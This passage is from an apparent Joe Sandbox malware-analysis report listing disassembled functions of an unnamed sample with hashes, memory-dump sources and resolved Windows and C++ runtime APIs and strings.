Instruction Fuzzy Hash: 87E14A76A183048FC718CE69C4D16BEBBE2ABC8314F19446DF999D7351DBB5DC008B92

Function 00BB6F50 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b849e714519dd208294644d1af3b014baceba7ba96a3300f3e0e068169bbf5a4
Instruction ID: a574ea94423ea9cc3442cab74a867962ca95e1760f8dcb066d7d65827311b0f4
Opcode Fuzzy Hash: b849e714519dd208294644d1af3b014baceba7ba96a3300f3e0e068169bbf5a4
Instruction Fuzzy Hash: 52C1C075A4C3049FC714DE28C880A7EB7E1EBC9704F54896DF885D7351EAB1DD448BA2

Function 00BC70E0 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65d3e852bd20f6b5a113d24d014fd73d7a1f498ee018386e966316f875211415
Instruction ID: cb3a78947d01876a45368a2a9067b6ed1bb03aa5f316021ade93e1865c3f3512
Opcode Fuzzy Hash: 65d3e852bd20f6b5a113d24d014fd73d7a1f498ee018386e966316f875211415
Instruction Fuzzy Hash: 7DC1C0709486468FCB28CF68C484F7ABBF1EF45310F18469DE892AB691CB31AD46CF50

Function 00BAA8E0 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6181ee7459a766b2a7ebb79cf07fc8ca235d8d1f9c8874baba3476e7e308c16
Instruction ID: c4acd06cfd3f5c8c656a7b04d8d9e836e76305cd51b61f80d783dac33dbca469
Opcode Fuzzy Hash: e6181ee7459a766b2a7ebb79cf07fc8ca235d8d1f9c8874baba3476e7e308c16
Instruction Fuzzy Hash: 2A91703B7455014BEB0C853988E93EB33C38BD6354F39A469D949CB391DD2BCC4A9B12

Function 00BBDA30 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3bd2e17d720d2d77cd0cf9e50955ebee3926fdde723c055a40e9693355ffc1e
Instruction ID: 6b84ad622da558b3cba5b50515f873e7239045d3587a9786111eecf19aac86f9
Opcode Fuzzy Hash: b3bd2e17d720d2d77cd0cf9e50955ebee3926fdde723c055a40e9693355ffc1e
Instruction Fuzzy Hash: A5916B7BB543004BDB14CC3988D53FB67D2DBD5310F2A9CB69894CB251E9BACC4A8B42

Function 00BA8B90 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 100420c5b7dc0769dfa7cb463b72aed262ea9a31029ef0d9d11f8b090707fa12
Instruction ID: 5fbe37b6a29d052461d5e842a900554cbbd8cc1c0c965cf5cfbefc042c5a2af8
Opcode Fuzzy Hash: 100420c5b7dc0769dfa7cb463b72aed262ea9a31029ef0d9d11f8b090707fa12
Instruction Fuzzy Hash: B3A12736A082018FDB188D34D4E53EB77D29BE6350F29546ED88A87752D9338C4A8F91

Function 00BA84C0 Relevance: .3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d8c0c568a7e2cfe77bb0babbc69c6cf107ad4b949d868415074b2913fadb5b9
Instruction ID: 936339532d7920fab2fafcadd8f3dc71e8fe2c8f369fc9a3415636021acbeced
Opcode Fuzzy Hash: 3d8c0c568a7e2cfe77bb0babbc69c6cf107ad4b949d868415074b2913fadb5b9
Instruction Fuzzy Hash: B1913C37765A000FEB08893E9CE53EB67C347E6314F2EE4799589C7656ED7F880A4A00

Function 00BAF3D0 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e65c0a2e462adb87e0d5dfff621f9ca5446e5ca97955d018583b64e6bd7d974f
Instruction ID: 456a09870263ad4d6d14fc2f72506e1e3243f8247806910d075f7afce4ddfaf9
Opcode Fuzzy Hash: e65c0a2e462adb87e0d5dfff621f9ca5446e5ca97955d018583b64e6bd7d974f
Instruction Fuzzy Hash: AB915A73B64A020BEB5CC97888E63FB23C397D9314F2AD53A951BC72A0DD6EC8454641

Function 00BAF7B0 Relevance: .3, Instructions: 294COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4ec845ba95890f1113e49cc3232a4fcef1d8706162b31b29c8294cbf0be96f4
Instruction ID: bf3d5cc4b9dbc69d1593b2782e142c87e983bfc85e4202655c3379276badf605
Opcode Fuzzy Hash: b4ec845ba95890f1113e49cc3232a4fcef1d8706162b31b29c8294cbf0be96f4
Instruction Fuzzy Hash: E8913A3AB483115FEF1488B5C4D43EB67D387D6704F16E4BAC8888B366D8778C499B91

Function 00BA7E00 Relevance: .3, Instructions: 291COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a0dd99972acdbac187b33bd43d2d9372f2f524051997156c3125f48412d9db5
Instruction ID: b3b8b04041295377fb5c2ad102be2959c081c9a2de25417c802202e6d6d0798e
Opcode Fuzzy Hash: 8a0dd99972acdbac187b33bd43d2d9372f2f524051997156c3125f48412d9db5
Instruction Fuzzy Hash: 45A12436A0C2408FC728CE19C8D066EB7E3ABC9314F1549AEE849E7754DE35DD458B93

Function 00BAE1C0 Relevance: .3, Instructions: 286COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c79843dec16212f1c97001263395675b607b0a699f43ad451e83bd1ea187b3
Instruction ID: 06d90d24edd96bf9a0cc2342310e2f4003925a014b9822ca49a069d2024ae68b
Opcode Fuzzy Hash: e9c79843dec16212f1c97001263395675b607b0a699f43ad451e83bd1ea187b3
Instruction Fuzzy Hash: AE91AD7BF69B244B9318DEA9CCC116AB5C2DBD8314F1A857ED8A9DB311DDB8DC4082C1

Function 00BB57C0 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 352c5b9423bf297c106965edbf737ce701fd9589a9d94ed65ba5615f70c1aaf5
Instruction ID: 8421fe02a4b95b0ab5f0ce1304c8e792cc3b0937183e452b9afe51d0a2a4c6e6
Opcode Fuzzy Hash: 352c5b9423bf297c106965edbf737ce701fd9589a9d94ed65ba5615f70c1aaf5
Instruction Fuzzy Hash: 5981F432A146108FC724CF2888D56FEBBE1EBD5310F5948AEE895D7311DA71DD858B83

Function 00BBD0B0 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d80dd56b80fc333cd81ac1d2c625f41708e529bce72d21e7a75007168fa4eb74
Instruction ID: 52d630fb178e9fca5334be277305d1c9dad3207558e59f4432e773a54db08f0d
Opcode Fuzzy Hash: d80dd56b80fc333cd81ac1d2c625f41708e529bce72d21e7a75007168fa4eb74
Instruction Fuzzy Hash: 785105706082014FC7158E28D0E57FF7BE2EB99315F21586EE4899B350E6BACC48CF92

Function 00BA97A0 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b00db118ae43f77ecf9935dff7ea928fa550529d6286dbed9c1aaad95f63f5b
Instruction ID: 8f1231e54060827a668fa7ad233902511b3a1d102984fa36ce8b0b0c3711a6b4
Opcode Fuzzy Hash: 2b00db118ae43f77ecf9935dff7ea928fa550529d6286dbed9c1aaad95f63f5b
Instruction Fuzzy Hash: 4251577570C2018BD708CA29C8D17AB77C2ABCA310F55486EE58ECB361DB36CC98D746

Function 00BA7C00 Relevance: .2, Instructions: 157COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d4facc7f808c927171c3e50bfb721220d5c78bc9aed89a7a723322af0856b7b
Instruction ID: 4a2a4ebf7e8bfccd1043e3fb8dc7d0850387a71a35d3afe75bc5908453bc0c62
Opcode Fuzzy Hash: 3d4facc7f808c927171c3e50bfb721220d5c78bc9aed89a7a723322af0856b7b
Instruction Fuzzy Hash: 9841F33434C2014FCB199A38C5E47EF7BE2DBD6314F6554A9D4C98B262EA77CC888B42

Function 00BBE8A0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00BF0160,00000FA0,?,?,00BBE75E), ref: 00BBE8AC
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00BBE75E), ref: 00BBE8B7
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00BBE75E), ref: 00BBE8C8
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00BBE8DA
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00BBE8E8
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00BBE75E), ref: 00BBE90B
DeleteCriticalSection.KERNEL32(00BF0160,00000007,?,?,00BBE75E), ref: 00BBE927
CloseHandle.KERNEL32(00000000,?,?,00BBE75E), ref: 00BBE937

Strings

WakeAllConditionVariable, xrefs: 00BBE8E0
kernel32.dll, xrefs: 00BBE8C3
SleepConditionVariableCS, xrefs: 00BBE8D4
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00BBE8B2

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: b1b4159e4c783f0c15cf99c4d0cffbceb8720fa69088f5ec5001396d46228876
Instruction ID: 7767157c16aa90565e96af623fe9085876a91cc859d147678eae022bc7a8c1a6
Opcode Fuzzy Hash: b1b4159e4c783f0c15cf99c4d0cffbceb8720fa69088f5ec5001396d46228876
Instruction Fuzzy Hash: 5E01D831A503416FD7112B756C4EAB73ED8EB55B417400090F915E72B1DFB0ED01CA61

Function 00BB5B00 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 157COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00BB5BBB

Strings

bad locale name, xrefs: 00BB5CD1
R&kt, xrefs: 00BB5B21
j&V, xrefs: 00BB5B4E
R&kt, xrefs: 00BB5CAD
R&kt, xrefs: 00BB5B60
R&kt, xrefs: 00BB5B75
j&V, xrefs: 00BB5B2E

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: LockitLockit::_std::_
String ID: R&kt$R&kt$R&kt$R&kt$bad locale name$j&V$j&V
API String ID: 3382485803-3629830979
Opcode ID: ce9f9909cd50497c5ac1d8af28b1d019764aa7f14280e9cc11291384b30b61e8
Instruction ID: 44313d02bd9c33b13ba7fbcdee81c7a605413f09175ed60c41065fc70eedf0f1
Opcode Fuzzy Hash: ce9f9909cd50497c5ac1d8af28b1d019764aa7f14280e9cc11291384b30b61e8
Instruction Fuzzy Hash: AB51D370A08B488BCB309F2894957BAB6D1EF95744F6448ACF84ADB341DBF5CD448B87

Function 00BB6E10 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 86COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BB6E27
Concurrency::cancel_current_task.LIBCPMT ref: 00BB6F2A

Strings

/jK, xrefs: 00BB6EA0
.jK, xrefs: 00BB6EBE
/jK, xrefs: 00BB6F03
.jK, xrefs: 00BB6EE9
.jK, xrefs: 00BB6E60
.jK, xrefs: 00BB6E91
.jK, xrefs: 00BB6F10

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_task_strlen
String ID: .jK$.jK$.jK$.jK$.jK$/jK$/jK
API String ID: 575380510-2724332816
Opcode ID: 9978611f184aa9077d375a2769183c346f4e2dbc4377be4e6fadf07d104c971f
Instruction ID: 3ed53bab889bd8825c4b1776c1487153b189c93bddc38a4694bc1a1cdea59f02
Opcode Fuzzy Hash: 9978611f184aa9077d375a2769183c346f4e2dbc4377be4e6fadf07d104c971f
Instruction Fuzzy Hash: 1F31AE794483089FCA10EF14D48267AB7E9EFA9354F5488A9E88887701E3B5EC40CB93

Function 00BCDAAA Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00BCDBC9
___TypeMatch.LIBVCRUNTIME ref: 00BCDCD7
CatchIt.LIBVCRUNTIME ref: 00BCDD28
_UnwindNestedFrames.LIBCMT ref: 00BCDE29
CallUnexpected.LIBVCRUNTIME ref: 00BCDE44

Strings

csm, xrefs: 00BCDAE7
csm, xrefs: 00BCDC00
csm, xrefs: 00BCDB54

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 95c816ba995e998f69269be538fc25885f9b79849cc1016efbe7c3a949c6d047
Instruction ID: 4b7daa49209e6fd29968d90c448bb4ec1763ec1e7b84cee379ac3234c8758dff
Opcode Fuzzy Hash: 95c816ba995e998f69269be538fc25885f9b79849cc1016efbe7c3a949c6d047
Instruction Fuzzy Hash: E4B14679800209AFCF19DFA4C881EAEBBF5EF54310B1545BEE8156B212D730EA51CBA1

Function 00BA42E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00BA437A
std::_Throw_Cpp_error.LIBCPMT ref: 00BA43CE
std::_Throw_Cpp_error.LIBCPMT ref: 00BA43FB
std::_Throw_Cpp_error.LIBCPMT ref: 00BA4402

Strings

F+, xrefs: 00BA4330
F+, xrefs: 00BA43BA
E+, xrefs: 00BA4308

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

